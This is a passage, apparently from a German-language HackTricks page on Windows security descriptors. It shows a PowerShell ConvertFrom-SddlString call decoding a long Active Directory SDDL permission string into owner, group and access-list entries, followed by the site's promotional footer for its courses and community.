0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;
```powershell

PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Eigentümer            : BUILTIN\Administrators
Gruppe            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>

Last updated